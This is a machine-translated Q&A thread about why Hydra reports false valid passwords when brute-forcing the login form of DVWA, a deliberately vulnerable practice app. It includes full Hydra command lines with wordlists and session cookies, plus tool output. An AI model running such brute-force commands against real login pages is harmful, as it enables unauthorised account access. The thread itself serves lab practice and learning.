为什么 Hydra 在没有有效密码时返回 16 个有效密码?

信息安全 Web应用程序 渗透测试 蛮力
2021-08-21 05:46:59

我一直在玩 Hydra 和DVWA,但我遇到了一些障碍 - Hydra 回应让我知道我的密码列表中的前 16 个密码都是正确的,而它们都不正确。

我认为这是一个语法错误,但我不确定是否有人以前见过这个。我已经遵循了几个没有运气的教程,所以我希望有人可以提供帮助。

句法 :

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

输出

Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 22:30:51
[DATA] 16 tasks, 1 server, 815 login tries (l:1/p:815), ~50 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host: 192.168.88.196   login: admin   password: adrianna
[STATUS] attack finished for 192.168.88.196 (waiting for children to finish)
[80][www-form] host: 192.168.88.196   login: admin   password: adrian
[80][www-form] host: 192.168.88.196   login: admin   password: aerobics
[80][www-form] host: 192.168.88.196   login: admin   password: academic
[80][www-form] host: 192.168.88.196   login: admin   password: access
[80][www-form] host: 192.168.88.196   login: admin   password: abc
[80][www-form] host: 192.168.88.196   login: admin   password: admin
[80][www-form] host: 192.168.88.196   login: admin   password: academia
[80][www-form] host: 192.168.88.196   login: admin   password: albatross
[80][www-form] host: 192.168.88.196   login: admin   password: alex
[80][www-form] host: 192.168.88.196   login: admin   password: airplane
[80][www-form] host: 192.168.88.196   login: admin   password: albany
[80][www-form] host: 192.168.88.196   login: admin   password: ada
[80][www-form] host: 192.168.88.196   login: admin   password: aaa
[80][www-form] host: 192.168.88.196   login: admin   password: albert
[80][www-form] host: 192.168.88.196   login: admin   password: alexander
1 of 1 target successfuly completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 22:30:51

编辑

我成功地暴力破解了管理员凭据。一旦我通过了 DVWA 的身份验证,我需要找到 cookie 信息(通过您的浏览器或 Burp Suite 轻松完成)。获得 cookie 信息后,我发出了以下有效的命令。

hydra 192.168.88.196 -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=<value for PHP SESSID cookie"
3个回答

我在玩 DVWA 时也遇到了同样的问题。原因是您正在尝试暴力破解YOUR_SERVER/dvwa/vulnerabilities/brute/index.php需要身份验证。尝试在浏览器中访问该页面,系统会提示您输入用户名和密码(与您尝试暴力破解的形式不同)

因此,当您尝试强制执行此操作时:
九头蛇蛮力

九头蛇实际上是“看到”这个:
hydra登录

在第二种形式中,您不会收到“用户名和/或密码不正确”的消息,您告诉 Hydra 使用它来区分登录失败和成功。Hydra 没有看到登录失败的消息,因此它假设登录成功。

因此,您需要使用浏览器登录,获取会话 cookie(默认为PHPSESSID),并将其提供给 Hydra,然后Hydra 将能够“看到”第一个表单。

H=Cookie:NAME=VALUE假设,您可以通过执行或将 Hydra 指向通过执行设置 cookie 的文件来在 Hydra 的 HTTP 标头中设置 cookie C=/path/to/file不幸的是,这些都不适合我。

在感到沮丧之后,我最终dvwaPageStartup在文件中注释了 Line: 5 ( ) /dvwa/vulnerabilities/brute/index.php,这让 Hydra 能够看到实际的易受攻击的登录表单。

这对我有用:

hydra 192.168.56.2 -l admin -P /home/user/Downloads/pass.txt http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=n5ggv5f2b3vcrl9fe15nqu6v95"

在语法方面,Hydra 似乎非常无情。您可以使用“URL like”格式来指定模块、主机和路径。

我花了一段时间才到那里,但这对我有用(hackme是主机):

hydra -V -l smithy -P /usr/share/wordlists/rockyou.txt "http-get-form://hackme/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

编辑 2015 年 4 月

好像他们已经改变了它,上面的格式不再有效。但是,这是被接受的:

hydra hackme -V -l smithy -P /usr/share/wordlists/rockyou.txt http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

我遇到的问题是在调试上花费了很长时间,以至于我的 PHP 会话 ID 已经超时。一旦我刷新了它,它就开始工作了。

另一个问题是当我使用 Wireshark 进行调试时——我正在接受第一个 HTTP 请求,想知道为什么没有传递用户名和密码参数。Hydra 似乎首先对没有参数的 URL 发出 HTTP 请求。